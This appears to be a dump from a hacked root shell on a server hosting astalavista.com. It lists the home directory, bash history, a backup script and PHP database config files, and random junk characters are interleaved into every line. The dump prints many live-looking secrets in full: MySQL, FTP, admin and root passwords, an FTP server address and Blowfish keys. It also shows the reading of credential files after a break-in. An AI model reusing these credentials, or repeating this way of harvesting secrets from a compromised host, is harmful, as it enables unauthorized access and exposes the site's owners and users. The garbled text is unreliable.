4 Q( `. ]% \5 g |1 C% P D4 d% N9 E
sh-3.2# cat /etc/motd7 [6 c; |9 c9 J7 a0 X: C
#####################################################
$ M& K. \8 r* }+ R: M9 S9 ?2 l#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #4 Q, b3 }3 l/ k0 V2 v
# |__| [__ | |__| | |__| | | | [__ | |__| #
6 T/ p$ i% |0 |+ |$ M, R, O# | | ___] | | | |___ | | \/ | ___] | | | #7 ]; Y# F; Q; V3 y4 O, B
# #* x' `) J2 p+ N P7 t+ Y
#####################################################) ^! b; e/ _; s# Z" M# P, J7 l9 Z/ r
# #) Y1 Z. Q- W$ a D0 d7 o; V- Y8 x
# Admin Contact - 链接标记support@secureservertech.com #
; {' W# _* i- k% `3 k, p3 i- m# #
# `6 S; s( }% n# Available ShortCuts #, J8 Y4 n# e9 F4 j
# # v0 S! A' {& x2 q3 Z
# nst - list active connections #
. E- m' a- y- i# n# q% S f# ddos - shows how many times each ip is connected # J S& O+ t1 J3 L" ^2 M! y& E5 ^
# ltr - restart the webserver #
9 Y+ \2 P2 l1 Y1 o+ W1 j# phpc - edit the php config file #
. W& a4 _- i$ f& Z) B& I1 d& j# htc - edit the webserver configuration file #
# m: Q5 c" H( g4 P; I5 H# up - uptime #
! f7 Y, p2 ?# ~' r* g# etd - edit the motd of the day file #
4 [" a2 j/ {+ H: ]0 M# htr - start and restart apache if needed #
7 E/ z; P" Z5 _2 ^# syng - shows active SYN_RECV connections #
0 R1 v$ G3 G. q# synd - syn flood blocker - “synd -h” for usage #4 R: w* R w5 G& ~/ D! U+ }; F
#####################################################
, K d, d' B6 J% W# NOTES: #
0 u! K7 Q( _. B# Last Upgrade - 12-08-2008 by JF #
$ V: L5 O& N9 l( v, Y6 d2 V$ K s# My.cnf/Mysql Optimization - 1-28-09 #
$ E) k$ ^9 F4 H# #
" K; e7 r/ W+ {2 M2 i/ D. M' ~# #
$ R# W6 W* x. j8 d! _# #; i' ]$ ` r; h6 @0 [ a
#####################################################/ E1 l! o; ^/ O! Y8 i2 k
- I- K3 c: M3 D: d) dsh-3.2# lastlog | grep -v Never$ D" h. V# d+ b% E4 `( l1 f2 b
Username Port From Latest
, P7 y# h w% A8 vroot pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009. [, ~ Y# F( k* ?: x! T
admin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008' _% T1 \! }, L, G0 C( x( T
com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 20092 M" C0 E! R: D! E% D- O% H; V9 ^
astanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
' I7 B7 W" F. A5 x( t
! a( u) M% x2 L& |8 o! \sh-3.2# ls -la& v/ y" k. `% x" U' M
total 453376. `- _0 ~' g! s7 B( A |, y
drwxr-x— 15 root root 4096 Jun 4 08:40 .7 V# g# U( ~* w6 c
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..- q/ S* A/ I: o: G9 {6 a
-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip
8 a+ o4 ]% f# q b" b) c) f5 ]-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg) |, A9 c4 |8 h6 w. O
-rw——- 1 root root 16836 Jun 4 07:21 .bash_history
! M4 b4 {, R- e* z9 H# k. z-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout
, z0 A) U S+ I9 N( n; L4 F-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile$ d" Z ~) r. p1 F6 R
-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc# W" {: K6 O7 [* q5 c
-rwx—— 1 root root 1899 Oct 28 2007 bk.sh) g+ S& Q) k" t6 r; P
-rw-r–r– 1 root root 1327 Nov 29 2007 cert9 d- a# x0 O# }( B$ U$ _
-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
4 u& T8 V7 y( H) A' k3 {drwxr-xr-x 4 root root 4096 May 20 2008 .cpan* _/ D k2 F, L, v4 G8 o) A* B
-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc
J& Z; @$ {& Z% @8 h" [-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
" Q# O& z4 n, U5 ndrwx—— 2 root root 4096 Oct 28 2007 .elinks
0 d: m1 s. `! d; C1 X% H1 }. @. c- Jdrwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1, ?0 W& k7 P! ]. x- ^$ w
-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2 [! i. t1 ?: O
-rw——- 1 root root 0 Apr 16 13:19 .history
& {6 q5 {# i/ R1 Z( D-rw-r–r– 1 root root 16095 Sep 11 2007 install.log
' A+ I q* T# v5 y5 e-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog: X- L/ C: x: O4 ~0 w! X' C
-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh
7 q( H4 Z0 E8 L+ m- k a1 x-rw——- 1 root root 35 Jun 2 14:23 .lesshst- y! Z6 t2 [; F+ O- k$ E Y' W
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp+ i- y% {% b. V$ G2 @- i
drwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec8 j/ P- z6 V- u/ o5 S
-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz
. e M( K! k; t- v3 `5 z* D! u-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2( ~$ {) n6 p- w3 @4 c+ Q
-rwx—— 1 root root 760 Sep 18 2008 lp
+ W n1 a B' x+ G8 O1 Wdrwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1# I. J: y' W7 l" j2 K: n
-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
7 O# c0 o7 }: k1 c' k3 R-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
1 S0 G9 j# h5 E- T) d- u1 M( [drwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9% _) `- B3 Z5 V2 L. w, X
-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
1 s1 ?# _9 W0 T! P; tdrwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3
2 f# C0 b3 O$ s% y( d& l8 y: H% I-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
( J$ F/ L7 j! b# e( Z# n0 z-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh) R! F& z! y# [9 Q% ?* P
-rw——- 1 root root 41 Oct 19 2007 .my.cnf! H1 S# d' }) J9 F" y# V% z
-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history
6 |& m7 Y4 B" A8 a3 k" y. p-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport, |2 n; r X! d: R% v$ G
-rw——- 1 root root 41 May 20 2008 .mytop0 b: ~$ y4 ~* `3 c, }; L
drwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.62 s/ z) B* W N. x& [+ V h' A8 y# t
-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz
+ D. X& r6 {6 l5 P+ D& ?9 q) u0 ddrwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp* f7 V( a# T% {" ~
-rw——- 1 root root 1462 Sep 21 2007 opt.php
# z' O* @* q) x( m# n& v/ p-rw-r–r– 1 root root 3371 Sep 22 2007 p2 v% u% ]+ i6 U% ~1 P# \
-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz2
" R+ c8 A& M4 ]$ u$ m: q. O-rw——- 1 root root 1024 Feb 3 21:32 .rnd
& N$ S4 L4 U7 z-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
, n$ q7 t( n3 w4 W% T' k-rw-r–r– 1 root root 887 Nov 28 2007 server.key" n6 q1 a: I6 q1 U2 d
drwx—— 2 root root 4096 Oct 10 2008 .ssh
! h3 B; b1 J) K* {" q5 ?-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
0 ~4 f1 _( w _" t1 ]' [' \; q ^-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc
) w3 |7 r* z% H9 J; I! c-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip
- l, r+ s i3 q7 c+ i/ w2 B" N& @-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1
6 R1 ^. ^9 g7 C$ Z1 y3 ?1 Y% hdrwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp
9 t. ^+ L6 X* K5 ^-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh
# \9 P8 g( L& Jdrwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
) V( ^4 W4 z$ T; i7 r* e-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2/ F, z2 J& }4 W: E( I
-rw——- 1 root root 12997 May 16 2008 .viminfo- ?) d, `: |( B- M, J2 Z) F
. b( z! ~* d" a% I# }
sh-3.2# cat .bash_history/ Q0 |/ }' E+ S6 e+ a" r
[snip]2 t1 X$ x4 [% P- {
wget cp4sst.com/sstlinux.tar.gz3 B) Y# k% y( ^( p/ G+ |
tar zxvf sstlinux.tar.gz
- G) D" \" ]- W L5 D7 R' }cd linux-2.6.27.10
" t# i" K& d! nsh install.sh
; c. |4 l. C* lmake bzImage ; make modules ; make modules_install ; make install
% u3 u- d$ y' p; y9 G" z; K5 zmake clean
3 M; p) N$ y2 q2 U2 c% _' gservice mysqld restart
7 f5 V: q5 a3 h1 G5 h[snip]
b) {+ a0 ]1 D+ T2 P3 icd /usr/sbin/
& \& ?0 a9 C( U/ g! F* G8 K& e; fchmod 4777 traceroute
" I/ S/ f+ f5 M: Gchmod 4777 ping
. J) _# [$ |: X v- I, @& I/ gtraceroute -I 链接标记[url]www.astalavista.ch[/url]1 F F3 r$ U3 u5 q2 V% a# }1 c( D
[snip]
$ y, K* J' K4 V' Ivi /etc/csf/csf.conf
. v% ?9 e$ x) c. n7 Q" Ftraceroute google.ch$ H2 R$ B4 v) E# u7 P% `
service csf restart0 L" [; b% ? x1 q
tracert google.ch/ y, M, K7 S" x& T% Q
service csf restart
( y9 G* `7 C( D$ ]. Y, ?' o, itraceroute 链接标记[url]www.google.ch[/url]% ~& v" P. T1 V( o4 D( e
tracert 链接标记[url]www.google.ch[/url]
a8 H1 v4 _" c. Itraceroute 链接标记[url]www.google.ch[/url]' l/ \5 Z( d* y2 K6 }7 H3 T/ L+ N
locate traceroute
* v1 X: ]" s0 c' Y! u8 vchown 4755 /bin/traceroute& O6 p# T* w. r s
chown 4777 /bin/traceroute
% n! @- q5 A/ Z2 D2 a7 E K9 o0 llocate ping. g& j7 J4 T& S" Z
chown 4755 /bin/ping
- J' h/ Q& z' D/ K8 echown 4777 /bin/ping
' T* q2 @, Z# M) L2 Y B icd /bin/
) \. X5 v# Z& d xls -ali | grep ping
5 {6 w" b. T2 l0 Gchown root ping; X: l# P% S, z" T6 O( E
chmod 4755 ping
?4 p8 D" z8 O& d6 [ls -ali | grep traceroute
! S2 r6 n: Y$ ?chown root traceroute
0 Q& X8 a, A0 A4 D) v' Mchmod 4755 traceroute3 F, ~3 M! o* p8 [# [" N
ls -ali | grep traceroute0 b' L& o# j; ~0 `1 B8 t% T0 J$ t
traceroute -I 链接标记[url]www.google.ch[/url]
, X% G: A* e V1 M! {7 |traceroute 链接标记[url]www.google.ch[/url]4 H, A# O' J: z* D4 B8 n: b' n. U
whois pmsantos.ch
5 h: L k: O' B[snip]' q. m: ]- d' ^% f ?, ~
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
- |6 M" o8 R3 ~6 }! f$ q) omysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
I* ]7 c" P8 I zmysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql) i4 ^ p3 f; W. V. E2 Q3 Q- ?
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql7 V% B, `0 l6 G% }) U" }% p
top
5 ~1 \. L& `0 W# v2 d- [* Eping ssth.ch% Y, {% ?5 n, j( G/ M4 @; w+ M
ping asdlkfaljgasd???ljg???lasj.ch7 l% b% b K' H; z- s
ping asdlkfaljgasdlasj.ch: c* ]4 m6 e0 L( j2 @/ V4 p
ping 链接标记[url]www.ssth.ch[/url]
$ k8 x& X& K1 \0 m! {3 |7 Hping ssth.ch
8 L1 c/ e* s$ E' \/ q: p; P2 enslookup 链接标记[url]www.google.ch[/url]
; \$ P: _9 G9 E: e5 b0 Knslookup 链接标记[url]www.ssth.ch[/url]# m# t: j$ S+ j5 K2 U1 o
man nslookup1 K# x) z: T' N
ping 链接标记[url]www.google.ch[/url]
! e# \4 @5 a/ R; p a* gnslookup 链接标记[url]www.google.ch[/url]7 }& e3 Q. y* M+ V- z; i+ a( i7 P! W
nslookup 链接标记[url]www.google.ch[/url]; k2 ^) S/ B/ P8 a* E
nslookup salfjasdlf.ch
L+ A1 @, s" X$ k6 |# H/ ]3 C[snip]) i; j4 d# P5 y, D; W- o4 T
openssl passwd -1 sadf
8 h9 U% k+ C4 w. ^2 d6 \openssl passwd -1 5cZNHstdTy5 M1 |) Z; p& N4 i+ f
mysql
0 b1 j) b R/ q( ?& T+ X6 N/ a$ hmysql
8 Q, c! r# u0 ~' Y$ K$ I4 {. blocate proftp1 ~. F/ x$ g% `# k2 l& K( q
vi /etc/proftpd.passwd6 Y7 T: B, N, ?: Q2 E1 E& l7 w
service proftpd restart
: N3 s2 z( G! I: t0 N \locate proftpd.conf4 Z/ W/ U. G: D8 @: X. r# r! Z% L
vi /etc/proftpd.conf% ]# R2 s3 \. R
vi /etc/proftpd.passwd! @$ y3 s2 c( r! a" v8 L
service proftpd restart: q$ ~# ], E8 O5 c5 d
[snip]2 x/ S( }5 W" @- j; t' K) ?, H9 G Y- o
/bin/sh /home/com/backup_system/backup.sh9 o- K/ |; ~' N! a
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
" D' M* l B5 d7 t; W$ u& o( l' x( jmysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql7 U% r% i- L6 n8 z ` m K
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql4 X' ~/ j% R/ b, _8 g% f
ls -ali
, b. X- b; l9 M3 S; _5 hmysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
- U0 g w, Z0 R$ c! W* d" kmysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql9 Y: s+ S5 B4 e: y8 d* Q( D
crontab -l
; N" u/ ~3 R9 U* ]5 `2 n, acrontab -l8 C* F+ V7 Z% S& n( }8 ]3 W. H
php -q /home/com/public_html/modifications/cronjobs/securitynews.php
! G2 k: p5 B! |% ?( O+ f U/home/com/public_html/modifications/cronjobs/exploits.sh4 `( {) ^% v( ?
wget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]& l7 k% h0 U% t- {- f, \
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
" w9 t% X/ V$ i# Z, pcd lsws-4.0.3% T s) Y2 C8 Y& p% \
sh install.sh2 n* z8 M0 l7 e
uptime
1 [3 m: b" Z; x2 O6 D; X0 b K. \hdparm -tt /dev/sda, g: v& o6 O, c5 |& ~: y
iostat
4 N* W+ S' l# S1 \' y4 V" vyum install iostat5 X/ L4 [: N, W* o, s% T
iostat- X0 X+ r8 o* |
whereis iostat% f" L* B9 F2 B/ @$ U, @+ m
yjm clean all7 x* U8 }# k6 ?
yum clean all ; yum -y update
2 t7 X/ W l/ Aiostat
+ g9 i% O% f7 R3 z0 Tyum install systat
) k7 j; h* O" c+ n' ?2 mrpm -qa | grep iostat
. B- h% X- h% H6 b& o! brpm -qa | grep sysstat: `- T7 K! J3 _7 v3 A
rpm -qa | grep systat
& ~2 }5 |7 p0 n& Vdmesg -c
; P# X4 A' u: L6 }/ _, csysctl -p
c4 E- {5 C9 w* B" x2 Tuname -r
& |/ H$ H% c% |- Ecd /usr/src3 p1 c9 [9 U k/ l
wget nix101.com/kernels/sstlinux.tar.gz
& x& p9 G* v/ _6 ~2 M- O$ U, ushutdown -r now
( _( w$ v+ [ c2 J# Tnano -w /boot/grub/grub.conf& d1 \6 j! W1 h" ]2 h
1 D H( {- q8 l; I
sh-3.2# cat .my.cnf
$ H% h( V7 [$ |1 D[client]. w. g3 `9 ^' M: K
user=da_admin
$ h6 }$ \' z: |0 i2 A2 t2 mpassword=X9dctmRH8 u& s7 X) C+ W
" z: z/ H, |0 C" F% j) @& Wsh-3.2# cat /home/com/backup_system/backup.sh
& ]" S( O; d& z: w1 \3 u#!/bin/sh
) ]. i1 R1 p9 d* p#####################################################################
; f e# [% d `: x: P% n( `" }5 O# #$ e; L7 d* a M) S5 f
# incremental backup for astalavista.com #$ K4 E6 L5 v9 [1 M6 X9 Y3 t- F
# #
7 S/ d. M' z$ x9 t7 [- B# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #
2 j9 }7 i( r, d' @) x5 N i" Z# #) a- K0 u( L+ ^6 _
#####################################################################8 w0 ^5 U4 q' S4 f+ h
[snip]/ S) M& z. K3 a- j1 A6 ^
PROG_DIR=”/home/com/backup_system”;
9 c9 \4 X1 }4 I kBACKUP_DIR=”/home/com/backups”;
0 M. C6 ^6 ?+ |& S) n N9 CDOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;: ~; I& b% {: i" Q, w5 ^
# ftp for synology backup server
* x& m! A. j$ w7 l4 w) RFTP_HOST=”212.254.194.163″;. }/ c7 s! ^& ^; g! o- T( D% g
FTP_PORT=”21″;' N9 Q G6 T! e. ]" E
FTP_USER=”astalavista.com”;
& d" v: O8 F) s1 ~) YFTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;# u/ v% I7 o. L% u# Z
FTP_DIR=”/astalavista.com”;1 s! R/ N$ p. Q( e
# database3 W3 [$ ]. t3 S* F
DB_HOST=”localhost”;
9 {9 h, M# j! O/ s! Q( c$ gDB_USER=”contrexxuser2″;6 D/ n# o5 r+ B, m( }: Q
DB_PASS=”0fEYNZgXz1pKe”;/ F" P3 O6 j) X% R, X6 r1 V8 c5 E
DB_DATABASE1=”com_contrexx2_live”;
. V$ v7 t& b9 W* eDB_DATABASE2=”com_contrexx2″;
, s% C/ I( \) J: p4 L4 |3 p[snip]( R* f. a: O4 ]" c0 t
ftp -in $FTP_HOST $FTP_PORT <<EOF5 t! u; |2 I9 e" `' V& f4 h
quote USER $FTP_USER
, d& E/ A* Y$ Q5 D# b# T% squote PASS $FTP_PASS
6 p$ T( ~3 D4 G7 J# R0 |" dcd $FTP_DIR6 B8 C! o/ Q7 v x6 l3 {# u
put $DB_FULLNAME-SQL_Dump.tar
& K( @( F0 e, ~. F0 i2 R" Kput $BACKUP_FULLNAME-Public_HTML.tar" J5 u6 G {* K, {4 j% B' Z5 _5 e
close
+ R }/ K% ?0 H% v+ J0 |bye& j- y# d* H4 q* \* i) u
EOF9 O$ }; Z# b: P. w% \/ x
) m& ~) H$ B9 w* _% l, q2 q0 P( I3 xsh-3.2# cd /home
9 ?) b* P# }3 u$ f% {sh-3.2# ls -la
0 }/ @2 b+ K% V+ dtotal 120
+ q3 u7 f2 Y' w% P9 P3 sdrwxr-xr-x 14 root root 4096 Mar 11 17:56 .' C: N& t( G% I$ e% N/ _* B; v7 y
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ... A( b1 J( V" t/ w% c
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin8 |. \! z) C9 r f. S, {
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
* s8 I/ }0 G1 T$ m-rw——- 1 root root 8192 Jun 3 02:45 aquota.user5 H- t" N" t# C- K
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
8 V2 Y; U9 \1 U8 a+ w9 F$ L4 vdrwxr-xr-x 2 root root 4096 Jul 29 2008 backup
9 V2 `; M& z: t" |9 W/ }0 z1 jdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161& T( ?# m1 A9 P$ Z2 ? B9 z8 W
drwx–x–x 10 com com 4096 Apr 28 12:40 com
$ U* R/ ^8 S" _2 @- A6 z% Idrwxr-xr-x 2 root root 4096 May 17 2007 ftp
* s0 |* O+ A( N) c( x( t9 @drwx—— 3 jon jon 4096 Sep 21 2007 jon- z3 a9 Y3 |: y3 Q' F+ ]% }
drwx—— 2 root root 16384 Sep 11 2007 lost+found
3 K# H, S1 | D- h+ I' a4 ~drwxr-xr-x 2 root root 4096 Sep 14 2007 my
H5 g: Z4 ] j- v- ?3 `drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata2 Q' I& Y& Y' S) M! X( o" @( w
drwx—— 2 jon jon 4096 Sep 15 2007 test' \* ^; g" [' {8 S( G/ h
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp" |7 x" c8 _; p' T c* a
/ y! }% S4 U1 Y+ D, msh-3.2# cd admin
5 `/ K2 _; m5 q3 c, ish-3.2# ls -la8 u2 @: W8 c% S$ t' m8 E" K; i3 _
total 1735896
; n z8 s$ ?9 v0 U- Tdrwx–x–x 9 admin admin 4096 Nov 28 2007 ." I3 x# ]" B0 V
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .. V, v' \" O' L7 w
drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups* f3 ` i" S' F8 z, s$ ~
drwx—— 2 admin admin 4096 Sep 28 2007 backups
* T/ x! v3 l$ ?# D2 y1 y) k-rw——- 1 admin admin 860 Sep 17 2008 .bash_history3 m3 c) W: p8 G8 Y9 x
-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout" l$ e! x' @3 ]" r2 |
-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile8 i+ E' D. V% `% N* [, X( y$ V& }
-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc( a. H4 G; _8 Q0 B R
drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups- E3 V& X" j2 B0 V1 e! R. [
drwx–x–x 6 admin admin 4096 Sep 21 2007 domains
9 ?6 ` V2 V- X" S1 Jdrwxrwx— 3 admin mail 4096 Sep 21 2007 imap, w+ ^4 ]9 @ [. B& t
-rw-r–r– 1 root root 24 Sep 21 2007 info.php' e" A- Z: P7 Z8 w6 ^# g6 z
drwx—— 2 admin admin 4096 Sep 21 2007 mail
& b" q! W* e/ V. `7 i4 v* ]$ w-rw-r–r– 1 root root 716 Nov 28 2007 server.csr; }9 d1 O1 M1 C+ G
-rw-r–r– 1 root root 887 Nov 28 2007 server.key
* ?, [$ i7 `1 M! u/ X8 h c+ K-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow
/ y0 M) c9 ^- J; f* \; `* P( b8 C-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz8 W) F& ]6 ^$ p7 O3 L
drwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups
" h. C, Z6 S m3 Y- _6 |3 }! P1 e. N/ M: B ?/ K
sh-3.2# ..9 r$ Y; ^" D5 V6 j
sh-3.2# cd jon" U+ C) I) V5 r6 b$ r0 i
sh-3.2# ls -la
3 z# w. s6 X& G7 H1 @total 36 t/ Z& F0 x; Z! Q, [6 D/ }+ H, P
drwx—— 3 jon jon 4096 Sep 21 2007 .
# S" T2 m `3 B9 C% k6 Z: \: adrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
* g" u) @8 S( i4 T7 b6 E" d! ~-rw——- 1 jon jon 53 Sep 21 2007 .bash_history7 ?1 `1 u( h5 _$ @
-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout: L, Z: J! h' Y8 Y7 j2 _( F
-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile2 d( h/ `- `. k9 X, l7 r
-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc6 k, s- u9 f3 h0 \
-rw-r–r– 1 root root 24 Sep 21 2007 info.php! V; T; c; s4 Q6 _ G
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
# k) n& C5 ~2 H% I; F8 T K$ t; L1 ~* o- d5 R
sh-3.2# cd .." C ]# V1 v9 R+ Q3 ]$ O/ s4 |
sh-3.2# cd test
+ x* v7 I2 C# W! osh-3.2# ls -la
, Z7 n2 w3 ~7 B7 ]total 48
5 G, b9 d! C0 Q' }1 g; j8 o' wdrwx—— 2 jon jon 4096 Sep 15 2007 .1 o5 b/ }2 H% T. N2 |
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..- }0 p( X( N- `% b% q! K' g
-rw——- 1 jon jon 79 Sep 21 2007 .bash_history
6 N* S8 {! @8 j: \/ W2 v @. D1 P5 G-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout5 T8 `4 g& A, g6 [# @9 C o9 c
-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile& c$ I% h0 A9 g3 R$ V9 ]
-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc
0 I, ?0 C9 ~$ v0 w Ash-3.2# cat .bash_history/ ?: p6 }. S& X: A& W& B; r6 e
/usr/bin/mysqladmin -u root password PoliuJhytg675 j9 V2 ~% W2 c) ^7 J
; i- \$ Z& r7 Y1 A, m1 }; X
sh-3.2# cd ..
3 Z' n+ P6 ~. a+ T gsh-3.2# cd astanet
+ f, W2 f5 D- [7 k. Zsh-3.2# ls -la, J8 k! i2 ^8 m# I
total 52
, P% N7 y. s- K' ~5 ]+ q6 jdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .- ]2 e0 D9 l* Z# H9 {
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..5 B- T: U | R" v/ G6 v: }; F0 N$ ~
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth1 \& W; f2 X L. y% u9 G
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history6 q2 D. B" v2 J2 u2 f# x) @
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout j( t5 |! v5 O4 J) W6 |* |
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
0 H- ~5 m/ M1 b9 ?5 t) v- Q9 [-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
" g" M# a4 c6 c7 A# W( a% Idrwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
* W: T0 u; s0 l; ~drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap5 G1 v9 L8 T+ W- j \: h. i
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
- @( d1 G, u$ h- X+ g& `3 ~-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history& P( p! w' W9 E5 d+ P& T1 r# V
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
! X0 v; s# ^) P) b4 p# Z-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow$ V4 m% M8 D4 {+ S
! D+ p. p& X- l! T1 p& w* csh-3.2# cd auth/, m ~: p$ b$ f( ]7 E$ \
sh-3.2# ls -la4 g1 S! R- h+ V j
total 28; n( W: u. h* j* M5 F# P
drwxr-xr-x 2 root root 4096 Dec 23 16:00 .6 d$ g% a$ l& ]8 D5 {& B
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..
9 t6 n) r6 |6 _. Y-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php
! X2 ?' E" c {/ h6 n H/ t/ y-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php
& \+ e1 f; Y* g7 O% c-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd
; {4 Y. L" @: ~5 D& W a4 I-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting+ m! e: k K4 o6 q1 A# [1 n
-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd
3 t% l6 T' u4 b$ D8 q+ j* }% _0 b6 c5 ]1 m0 p& g9 e+ _" F
sh-3.2# cat hackercontest.config.inc.php
1 _) U5 v7 O' d/ o z( Q0 r5 e0 f<?PHP
2 ]& J4 b* K8 A) h// Variabeln f?r Verbindung zur Datenbank //
9 j0 y; ~9 \+ f" q" q$conxHost = ‘localhost’; // MySQL hostname
9 X' \( B2 @, ]$ a$conxUser = ‘hackercontest’; // MySQL user
5 ? ^. N( P: _' L) _* _$conxPassword = ‘K6m@7dUc’; // MySQL password
7 ]+ ^% U8 v$ m4 O$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
3 N. m0 f0 _8 I2 ?* j?>
6 H: T; M; m# m, C* k. Ysh-3.2# cat hosting.config.inc.php
0 `8 R4 C; {) K* M; K<?PHP
; L: R% O5 M, K: V" R// Variabeln f?r Verbindung zur Datenbank //
' p6 k, |( j6 l! p$ [. u# ?. }2 V$conxHost = ‘localhost’; // MySQL hostname+ T6 W- X3 V6 T$ J2 _4 _
$conxUser = ‘hostinguser’; // MySQL user6 y3 a* T4 ~& f' F R' G# J
$conxPassword = ‘cXvB3981′; // MySQL password- t* x4 s2 @1 n
$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
